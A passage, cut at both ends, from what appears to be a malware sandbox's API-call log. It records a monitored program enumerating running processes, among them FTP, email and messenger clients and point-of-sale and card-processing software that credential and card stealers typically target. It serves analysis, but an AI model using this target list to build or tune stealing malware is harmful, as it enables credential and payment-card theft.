th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0260.241] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0260.242] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0260.244] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0260.245] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0260.246] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0260.248] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0260.249] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0260.251] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0260.252] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0260.308] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0260.311] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0260.314] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0260.318] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0260.322] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0260.327] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0260.331] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0260.353] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0260.356] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0260.360] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0260.431] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0260.433] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0260.435] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0260.438] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0260.442] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0260.446] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0260.449] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0260.452] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0260.457] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0260.461] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0260.464] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0260.468] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0260.472] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0260.520] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0260.523] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0260.526] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0260.529] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0260.531] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0260.536] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0260.538] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0260.540] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0260.541] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0260.543] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0260.544] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0260.546] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0260.548] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0260.550] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0260.551] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0260.553] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0260.554] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0260.556] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0260.557] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0260.559] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0260.560] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.562] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.564] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.620] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0260.622] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0260.624] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.625] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0260.627] CloseHandle (hObject=0x1024) returned 1 [0260.627] Sleep (dwMilliseconds=0x64) [0260.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0260.673] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.675] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.677] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.678] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.680] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.681] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.682] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.684] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.685] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.686] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.688] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.689] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.691] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.692] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.693] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.694] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.696] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.697] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.699] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.700] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.701] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.702] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.704] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.705] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.757] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 